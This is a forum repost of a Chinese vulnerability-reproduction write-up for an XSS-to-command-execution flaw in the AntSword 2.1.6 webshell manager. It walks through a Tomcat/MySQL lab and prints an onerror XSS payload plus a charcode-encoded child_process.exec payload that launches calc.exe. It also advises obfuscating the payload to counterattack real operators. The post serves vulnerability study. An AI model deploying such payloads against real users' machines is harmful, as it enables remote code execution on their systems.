搜索

[18643] 2021-08-10_蚁剑命令执行漏洞复现

文档创建者：s7ckTeam
浏览次数：15
最后更新：2025-01-18
2021-08-10_蚁剑命令执行漏洞复现 蚁 剑 命 令 执 行 漏 洞 复 现 原 创   f 4 l t J 4 y   h e r e 4 0 4   2 0 2 1 - 0 8 - 1 0 收 录 于 话 题   # 漏 洞 复 现   , 1 个 0 x 0 0   本 次 背 景 本 次 背 景 蚁 剑 2 . 1 . 6 版 本 存 在 命 令 执 行 漏 洞 ， 很 早 就 暴 漏 出 来 了 。 今 天 也 是 恰 好 有 兄 弟 问 ， 所 以 做 个 漏 洞 复 现 ， 说 明 一 下 具 体 触 发 的 过 程 ， 对 漏 洞 原 理 做 个 简 单 分 析 。 然 后 各 位 小 伙 伴 们 如 果 平 时 碰 到 啥 问 题 ， 都 可 以 后 台 留 言 ， 或 者 加 号 主 交 流 。 毕 竟 分 享 交 流 才 是 最 好 的 学 习 方 式 。 0 x 0 1   环 境 准 备 环 境 准 备 首 先 从 g i t 上 下 载 存 在 漏 洞 的 蚁 剑 版 本 ， 具 体 下 载 地 址 如 下 h t t p s : / / g i t h u b . c o m / A n t S w o r d P r o j e c t / a n t S w o r d / r e l e a s e s ? a f t e r = 2 . 1 . 7 加 载 器 可 以 使 用 最 新 版 版 本 ， 可 从 如 下 地 址 加 载 h t t p s : / / g i t h u b . c o m / A n t S w o r d P r o j e c t / A n t S w o r d - L o a d e r 其 实 这 个 漏 洞 在 新 出 的 2 . 1 . 7 版 本 就 已 经 修 复 了 哈 。 在 漏 洞 复 现 后 ， 咱 们 也 可 以 看 一 下 同 样 的 p o c 在 2 . 1 . 7 版 本 下 的 执 行 情 况 。
下 载 蚁 剑 后 ， 打 开 ， 选 择 工 作 目 标 ， 具 体 加 载 器 可 以 使 用 g i t 上 的 最 新 版 ， 完 成 蚁 剑 初 始 化 工 作 。 接 下 来 准 备 目 标 环 境 ， 原 来 是 想 通 过 一 个 j a v a   w e b 的 靶 场 来 做 实 验 ， 考 虑 了 一 下 ， 并 不 需 要 那 么 的 环 境 ， 因 此 就 越 简 单 越 好 了 。 下 载 t o m c a t ， 我 使 用 的 t o m c a t 7 ， 并 启 动 。 把 蚁 剑 对 应 的 j s p 的 w e b s h e l l 放 入 t o m c a t 部 署 路 径 下 ， 相 应 s h e l l 直 接 使 用 的 蚁 剑 适 配 m y s q l 的 s h e l l 。 使 用 蚁 剑 连 接 ， s h e l l 环 境 正 常 。 接 下 来 准 备 数 据 库 环 境 ， 因 为 这 个 蚁 剑 的 命 令 执 行 发 生 在 读 取 数 据 库 数 据 的 过 程 里 面 。 通 过 数 据 操 作 打 开 数 据 库 连 接 窗 口 。 填 入 正 确 的 连 数 据 库 连 接 字 符 串 ， 数 据 库 名 称 ， 账 户 ， 密 码 可 根 据 个 人 配 置 填 写 。 c o m . m y s q l . j d b c . D r i v e r   j d b c : m y s q l : / / l o c a l h o s t : 3 3 0 6 / b o o k s t o r e ? u s e r = r o o t & p a s s w o r d = r o o t
该 步 骤 存 在 问 题 ， 需 要 将 相 关 的 m y s q l 驱 动 放 到 t o m c a t 的 l i b 路 径 下 然 后 再 m y s q l 数 据 新 建 一 张 表 并 填 入 p a y l o a d ， 测 试 可 以 先 使 用 " > < i m g   s r c = 1   o n e r r o r = a l e r t ` 1 ` > 在 蚁 剑 查 询 数 据 内 容 ， 发 现 成 功 弹 窗 。 0 x 0 2   命 令 执 行 命 令 执 行 首 先 处 理 生 成 需 要 的 p a y l o a d a = " r e q u i r e ( ' c h i l d _ p r o c e s s ' ) . e x e c ( ' c a l c . e x e ' ) " b = " " f o r ( i = 0 ; i < a . l e n g t h ; i + + )         b   =   b   +   " , "   + a . c h a r C o d e A t ( i ) 在 浏 览 器 控 制 台 执 行 ， 获 取 处 理 好 的 p a y l o a d < i m g   s r c = 1   o n e r r o r = " e v a l ( S t r i n g . f r o m C h a r C o d e ( 1 1 4 , 1 0 1 , 1 1 3 , 1 1 7 , 1 0 5 , 1 1 4 , 1 0 1 , 4 0 , 3 9 , 9 9 , 1 0 4 , 1 0 5 , 1 0 8 , 1 0 0 , 9 5 , 1 1 2 , 1 1 4 , 1 1 1 , 9 9 , 1 0 1 , 1 1 5 , 1 1 5 , 3 9 , 4 1 , 4 6 , 1 0 1 , 1 2 0 , 1 0 1 , 9 9 , 4 0 , 3 9 , 9 9 , 9 7 , 1 0 8 , 9 9 , 4 6 , 1 0 1 , 1 2 0 , 1 0 1 , 3 9 , 4 1 ) ) "
因 为 仅 作 演 示 ， 这 里 就 不 混 淆 处 理 了 ， 在 实 际 环 境 利 用 该 漏 洞 反 打 的 话 ， 最 好 是 对 p a y l o a d 做 一 些 加 密 处 理 。 更 新 数 据 库 内 容 后 ， 重 新 在 蚁 剑 执 行 数 据 查 询 操 作 ， 发 现 计 算 器 弹 出 。 0 x 0 3   新 版 本 修 复 效 果 新 版 本 修 复 效 果 如 上 图 已 经 修 复 ， 正 常 显 示 数 据 库 得 字 符 。 该 漏 洞 原 因 就 是 蚁 剑 使 用 E l e c t r o n 框 架 开 发 ， 未 正 确 过 滤 h t m l 等 产 生 了 x s s 等 注 入 。 又 因 为 是 使 用 n o d e j s ， 因 此 可 以 直 接 通 过 注 入 j s 的 形 式 ， 利 用 n o d e j s 达 到 命 令 执 行 的 效 果 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理